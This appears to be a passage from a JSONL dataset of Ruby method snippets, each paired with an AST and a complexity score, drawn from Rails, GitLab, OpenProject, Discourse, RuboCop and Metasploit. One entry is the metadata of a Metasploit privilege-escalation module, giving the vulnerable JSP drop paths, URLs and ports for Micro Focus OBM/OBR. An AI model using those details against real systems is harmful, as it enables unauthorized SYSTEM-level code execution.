end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"command_queue_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[null,\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[null,\"my_zone\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"queue_options\"]}]}]}","id":"be73338d-b543-43d0-bd82-7d77ceed1c0d"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/coders/json_test.rb","start_line":13,"raw_source":"def test_returns_nil_if_nil_given\n coder = JSON.new\n assert_nil coder.load(nil)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_nil_if_nil_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"coder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"load\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"ef6f00d5-8f78-460b-817d-3ce1f265e093"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/find_changes.rb","start_line":61,"raw_source":"def only_allowed_files_changed\n file_changes.any? && file_changes.all? { |file| ALLOWED_FILE_TYPES.include?(File.extname(file)) }\n end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"only_allowed_files_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_changes\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_changes\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_FILE_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]}","id":"3df976ae-7596-4371-ad9f-db25a94b79ba"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/repositories_controller.rb","start_line":212,"raw_source":"def revision\n raise ChangesetNotFound if @rev.blank?\n\n @changeset = @repository.find_changeset_by_name(@rev)\n raise ChangesetNotFound unless @changeset\n\n respond_to do |format|\n format.html\n format.js { render layout: false }\n end\n rescue ChangesetNotFound\n show_error_not_found\n end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"revision\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rev\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ChangesetNotFound\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@changeset\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"find_changeset_by_name\",{\"type\":\"ivar\",\"children\":[\"@rev\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changeset\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ChangesetNotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"js\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChangesetNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"show_error_not_found\"]}]},null]}]}","id":"83ceeb38-3b18-4f9f-aec7-15ba6d46ab23"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/subproject_filter.rb","start_line":70,"raw_source":"def where\n \"#{Project.table_name}.id IN (%s)\" % ids_for_where.join(\",\")\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id IN (%s)\"]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ids_for_where\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}","id":"c3b4d95d-a639-4c16-b303-0cb34a3edfa5"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/imap/providers/generic.rb","start_line":28,"raw_source":"def initialize(server, options = {})\n @server = server\n @port = options[:port] || 993\n @ssl = options[:ssl] || true\n @username = options[:username]\n @password = options[:password]\n @timeout = options[:timeout] || 10\n end","complexity_score":15.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"lvar\",\"children\":[\"server\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@port\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"int\",\"children\":[993]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ssl\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@timeout\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}","id":"c54f16f5-a732-4d6f-90cd-a9a4cc61beed"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/microfocus_operations_privesc.rb","start_line":13,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation',\n 'Description' => %q{\n This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge\n Manager and Operations Bridge Reporter.\n An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and\n then access it without authentication by making a request to the OBM / OBR server.\n This will result in automatic code execution as SYSTEM. This module has been tested on\n OBM 2020.05 and OBR 10.40, but it should work out of the box on earlier versions too.\n Note that it is only exploitable on Windows installations.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module\n ],\n 'Platform' => 'win',\n 'Privileged' => true,\n 'SessionTypes' => ['meterpreter'],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'Targets' => [\n [\n 'Micro Focus Operations Bridge Manager (Windows) <= 2020.05',\n {\n 'Path' => 'C:\\HPBSM\\AppServer\\webapps\\site.war\\LB_Verify.jsp',\n 'Url' => '/topaz/LB_Verify.jsp',\n 'DefaultOptions' => { 'RPORT' => 443 }\n }\n ],\n [\n 'Micro Focus Operations Bridge Reporter (Windows) <= 10.40',\n {\n # for OBR only:\n # - actually we can use any other name besides LB_Verify.jsp\n # - we can also use any other folder, doesn't need to be BI, as long as\n # it's reachable on the web server without authentication\n 'Path' => 'C:\\HPE-OBR\\PMDB\\BOWebServer\\webapps\\BI\\LB_Verify.jsp',\n 'Url' => '/BI/LB_Verify.jsp',\n 'DefaultOptions' => { 'RPORT' => 8443 }\n }\n ]\n ],\n 'References' => [\n [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],\n [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],\n [ 'CVE', '2020-11858'],\n [ 'CVE', '2020-11855'],\n [ 'ZDI', '20-1326'],\n [ 'ZDI', '20-1217'],\n ],\n 'DisclosureDate' => '2020-10-28',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [ CRASH_SAFE ],\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n 'Reliability' => [ REPEATABLE_SESSION ]\n }\n )\n )\n\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [true, 'Base path', '/']),\n OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),\n ])\n end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge\\n\"]},{\"type\":\"str\",\"children\":[\" Manager and Operations Bridge Reporter.\\n\"]},{\"type\":\"str\",\"children\":[\" An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and\\n\"]},{\"type\":\"str\",\"children\":[\" then access it without authentication by making a request to the OBM / OBR server.\\n\"]},{\"type\":\"str\",\"children\":[\" This will result in automatic code execution as SYSTEM. This module has been tested on\\n\"]},{\"type\":\"str\",\"children\":[\" OBM 2020.05 and OBR 10.40, but it should work out of the box on earlier versions too.\\n\"]},{\"type\":\"str\",\"children\":[\" Note that it is only exploitable on Windows installations.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro <pedrib[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Micro Focus Operations Bridge Manager (Windows) <= 2020.05\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"str\",\"children\":[\"C:\\\\HPBSM\\\\AppServer\\\\webapps\\\\site.war\\\\LB_Verify.jsp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Url\"]},{\"type\":\"str\",\"children\":[\"/topaz/LB_Verify.jsp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Micro Focus Operations Bridge Reporter (Windows) <= 10.40\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"str\",\"children\":[\"C:\\\\HPE-OBR\\\\PMDB\\\\BOWebServer\\\\webapps\\\\BI\\\\LB_Verify.jsp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Url\"]},{\"type\":\"str\",\"children\":[\"/BI/LB_Verify.jsp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8443]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-11858\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-11855\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"20-1326\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"20-1217\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-10-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Negotiate SSL/TLS\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"568b6682-fd2c-4bc4-a0ad-c73532047d3b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250129181952_add_anti_abuse_settings_to_application_settings.rb","start_line":8,"raw_source":"def up\n add_column :application_settings, :anti_abuse_settings, :jsonb, default: {}, null: false\n\n add_check_constraint(\n :application_settings,\n \"(jsonb_typeof(anti_abuse_settings) = 'object')\",\n 'check_anti_abuse_settings_is_hash'\n )\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"anti_abuse_settings\"]},{\"type\":\"sym\",\"children\":[\"jsonb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"str\",\"children\":[\"(jsonb_typeof(anti_abuse_settings) = 'object')\"]},{\"type\":\"str\",\"children\":[\"check_anti_abuse_settings_is_hash\"]}]}]}]}","id":"62eb5563-5a06-4040-8a98-270078adb5bc"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/content_localization_locales_validator.rb","start_line":14,"raw_source":"def error_message\n I18n.t(\n \"site_settings.errors.content_localization_locale_limit\",\n max: SiteSetting.content_localization_max_locales,\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.content_localization_locale_limit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"content_localization_max_locales\"]}]}]}]}]}","id":"d2935934-0e89-4c72-acb4-bf8ed01a7d06"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/topics_controller.rb","start_line":326,"raw_source":"def destroy_timings\n topic_id = params[:topic_id].to_i\n\n if params[:last].to_s == \"1\"\n PostTiming.destroy_last_for(current_user, topic_id: topic_id)\n else\n PostTiming.destroy_for(current_user.id, [topic_id])\n end\n\n last_notification =\n Notification\n .where(user_id: current_user.id, topic_id: topic_id)\n .order(created_at: :desc)\n .limit(1)\n .first\n\n last_notification.update!(read: false) if last_notification\n\n render body: nil\n end","complexity_score":30.55,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_timings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostTiming\"]},\"destroy_last_for\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostTiming\"]},\"destroy_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_notification\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_notification\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_notification\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"79bbc190-a97c-4398-ae6c-b8b7826cdf35"} {"repo_name":"openproject","file_path":"./repos/openproject/app/forms/settings/form_helper.rb","start_line":58,"raw_source":"def setting_caption(*names)\n I18n.t(\"setting_#{names.join('_')}_caption_html\", default: nil)&.html_safe \\\n || I18n.t(\"setting_#{names.join('_')}_caption\", default: nil)\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_caption\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"setting_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"str\",\"children\":[\"_caption_html\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"html_safe\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"setting_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"str\",\"children\":[\"_caption\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"220b47ed-1067-4f8d-9b25-689309bcef71"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/setting.rb","start_line":361,"raw_source":"def self.read_formatted_setting(value, format)\n case format\n when :boolean\n ActiveRecord::Type::Boolean.new.cast(value)\n when :symbol\n value.to_sym\n when :integer\n value.to_i\n when :date\n Date.parse value\n when :datetime\n DateTime.parse value\n else\n value\n end\n end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"read_formatted_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_sym\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"09bdda0b-c1fa-4cf1-a0c8-206ea4f07b25"} {"repo_name":"rubocop","file_path":"./repos/rubocop/tasks/changelog.rb","start_line":130,"raw_source":"def merge_content\n merged_content = [@header, unreleased_content, @rest.chomp, *new_contributor_lines].join(\"\\n\")\n\n merged_content << EOF\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merged_content\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@header\"]},{\"type\":\"send\",\"children\":[null,\"unreleased_content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rest\"]},\"chomp\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_contributor_lines\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merged_content\"]},\"<<\",{\"type\":\"const\",\"children\":[null,\"EOF\"]}]}]}]}","id":"74f99e94-2a45-48d0-8ff8-885adcba41b1"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/bem_css_filter.rb","start_line":67,"raw_source":"def call\n 